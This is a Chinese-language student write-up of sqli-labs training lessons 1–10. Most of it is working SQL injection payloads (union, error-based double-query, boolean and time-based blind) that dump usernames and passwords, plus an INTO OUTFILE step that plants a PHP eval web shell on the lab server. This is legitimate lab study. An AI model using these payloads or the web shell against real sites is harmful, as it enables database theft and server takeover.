Sqli-labs
Less-1
先用or 1=1,只显示一条结果,应该有limit语句……
1 | ?id=1' order by 3--+ |
判断列数以便使用联合查询,发现有三列。
1 | ?id=' union select 1,database(),3--+ |
正常回显,当前库是security。
查表:
1 | ?id=' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+ |
查字段:
1 | ?id=' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+ |
可以查询用户名与密码:
1 | ?id=' union select 1,(select group_concat(username,"-",password) from security.users),3--+ |
Less-1结束……
Less-2
?id=1 and 1=2 无回显,数值型注入……
order by 3 即有三列。
用的好像还是security库……
1 | ?id=0 union select 1,(select group_concat(username,"-",password) from security.users),3--+ |
em,和Less-1差不多……
Less-3
?id=1’回显有点奇怪……
那一部分应该是:**’1”) LIMIT 0,1**,应该是id=(‘$id’)
?id=1’)–+ 回显正常
?id=1’) order by 3–+ 有3列
1 | ?id=') union select 1,(select group_concat(username,"-",password) from security.users),3--+ |
OK
Less-4
?id=1’’’’’’’’’’’’’’’’’’–+123156hbhj–+
没有任何的报错……应该是都被认为是字符了
?id=1” 报错:
这里大概是:id=(“$id”)
?id=1”)–+ 回显正常
1 | ?id=") union select 1,(select group_concat(username,"-",password) from security.users),3--+ |
这样就可以了……
Less-5
emm……不太懂,查一波。
这波大概是盲注,盲注也有很多种……
?id=1’ and left(database(),1)=’s’–+ //一位一位判断库名
?id=1’ and if(length(database())=8,sleep(1),1)–+ //利用时间延迟判断猜测是否正确3
结合burpsuit可以更方便一些……
还有更强的方法:双查询联合注入
这些文章都尽可能的解释了这个方法……
理解一波,不知道对不对……
group by 读取时,查找字段名中是否有key,没有则插入。但是每次读取判断时,floor(random(0)*2)是随机的0或1……所以概率出现重复插入的情况,此时会发生报错,报错内容回显出database()的内容。
eg:*?id=’ union select count(*),count(*),concat(‘‘,(select database()),’‘,floor(rand()*2)) as a from information_schema.tables group by a–+*
本以为是像select 1,2,3一样占行数的……但改成1和2又会不起效果……
必须有一个count(*)才行……
这个看着差不多,结合自己理解一波:
先以语句结果去寻找,找不到,插入语句重新计算得到的结果。这样的话,表至少有两列,这个方法才能成功(至少遍历两次才能产生冲突)。若第二次找不到,则插入新结果,此时还要计算对应的count,遍历数据。
SQL有三个类型的索引,唯一索引 不能有重复,但聚集索引,非聚集索引可以有重复
主键key默认是唯一索引。count的再次遍历发现了主键索引的冲突,报错。大概是这样?……
还有,再查当前库时,可以用:**?id=-1’ union select n from n–+**
直接得到security……不过好像只能干这个……
1 | ?id=' union select 1,count(\*),concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+ |
查当前库
1 | ?id=-1' union select count(\*),1, **concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit x,1)**,'~',floor(rand()*2)) as a from information_schema.tables group by a--+ |
修改x可以查各个表名
?id=-1’ union select count(*),1, concat(‘~‘,(select column_name from information_schema.columns where table_name=’users’ limit x,1),’~’,floor(rand()*2)) as a from information_schema.tables group by a–+
修改x可以查各个列名
1 | ?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit x,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+ |
修改x可以查各个字段
百分百成功(大概):rand()里面的seed调为小于等于0,对于指定的seed,rand的值相同。但是是什么,为什么我都不知道……我也是试出来的,也查不清楚……
回来再试试~~
Less-6
?id=1” 报错
?id=1”–+成功
1 | ?id=-1" union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit x,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+ |
查表
差不多……
Less-7
outfile又不懂辽……
?id=1’–+ 只提示有错误……没有错误的回显了。查资料辽。
?id=1‘)) and (select count(*) from mysql.user)>0 –+
判断有没有文件写入权限,不过只显示有错误,不知道是不是语法错误……
?id=1’)) and if((select count(*) from mysql.user)>0,1,1) –+ 进入,应该是没有写入/写出权限
关于file权限:
1
2
3
4 1 必须有权限读取并且文件必须完全可读
2 目的文件必须在服务器上
3 必须指定文件完整的路径
4 欲读取文件必须小于 max_allowed_packet
由于phpstudy的设置,所以在网站上操作没有权限,好像是secure_file_priv需要设置一下……
更改之后:?id=1’)) and if((select count(*) from mysql.user)>0,1,0) –+ 成功进入
导出文件:?id=1’)) union select 1,database(),user() into outfile “D:\pp.txt”–+ 报错但文件成功导出。
*?id=’)) union select * from users into outfile “D:\apap.txt”–+*
OK。
导入文件:
?id=1’)) union select 1,2,’<?php @eval($_POST[“b”])?>‘ into outfile “D:\phpstudy_pro\WWW\sqli-labs-master\Less-7\b.php”–+
反斜杠“\”是Windows系统文件目录结构使用的分隔符,如:D:\我的文档。只有 windows 支持反斜杠路径符 \ ,而unix支持 /
但是我们还应该知道 \ 也是转义字符,在url中他会当成转义字符处理,所以我们用 \ 对反斜杠进行转义,那么结果就变成了一个反斜杠
成功连接。
Less-8
这次彻底没有任何错误回显了……
只能一位一位注…同Less-5的第一种方法:
?id=1’ and left(database(),1)=’s’–+ //一位一位判断库名
?id=1’ and if(length(database())=8,sleep(1),1)–+ //利用时间延迟判断猜测是否正确
结合burpsuit可以更方便一些……不用bp也可以用二分法。
?id=1’ and if(left((select table_name from information_schema.tables where table_schema=database() limit x,1),1)=’r’ , sleep(1), 1) –+ //查表
?id=1’ and if(left((select column_name from information_schema.columns where table_name=’users’ limit x,1),1)=’a’, sleep(1), 1) –+ //查列
?id=1’ and if(left((select password from users limit 0,1),4)=’dumb’ , sleep(1), 1) –+ //查数据
Less-9
em,和Less-8是一样的。
Less-10
不论怎么打,都是“You are in”……
源代码:
$id的值左右拼接了“ ”;这样处理的话只能用and去判断
所以用双引号就行了……其他和Less-8是一样的。
1-10:OK